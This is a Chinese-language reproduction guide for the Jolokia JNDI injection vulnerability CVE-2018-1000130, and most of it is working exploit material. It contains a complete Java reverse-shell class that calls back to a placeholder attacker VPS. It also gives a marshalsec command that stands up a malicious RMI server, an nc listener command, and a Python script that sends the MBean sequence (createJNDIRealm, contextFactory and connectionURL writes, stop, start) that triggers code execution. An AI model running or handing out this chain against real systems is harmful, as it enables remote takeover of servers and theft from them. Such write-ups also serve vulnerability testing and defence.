(CVE-2018-1000130)Jolokia 远程代码执行漏洞
一、漏洞简介
Jolokia服务的代理模式默认情况下在1.5.0版之前容易受到JNDI注入的攻击。当以代理模式部署Jolokia代理时,有权访问Jolokia Web端点的外部攻击者可以通过JNDI注入攻击远程执行任意代码。由于Jolokia库使用用户提供的输入启动LDAP / RMI连接,因此有可能造成这种攻击。
利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖(版本要求暂未知)并且环境中存在相关 MBean - 目标可以请求攻击者的服务器(请求可出外网)
- 实际测试 RMI 注入受目标 JDK 版本影响,jdk \< 6u141/7u131/8u121
二、漏洞影响
Jolokia \< 1.50
三、复现过程
漏洞分析
- 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
- 设置 connectionURL 地址为 RMI Service URL
- 设置 contextFactory 为 RegistryContextFactory
- 停止 Realm
- 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
漏洞复现
步骤一:查看已存在的 MBeans
访问 /jolokia/list
接口,查看是否存在 type=MBeanFactory
和
createJNDIRealm
关键词。
步骤二:准备要执行的 Java 代码
需要修改脚本里对应的反弹shell的ip和端口
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
步骤三:架设恶意 rmi 服务
https://github.com/ianxtianxt/marshalsec
使用下面命令架设对应的 rmi 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
步骤四:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
nc -lvp 上面java脚本里面自己设置的端口
步骤五:发送恶意 payload
根据实际情况修改 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
import requests
url = 'http://127.0.0.1:8080/jolokia'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://your-vps-ip:1389/JNDIObject"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)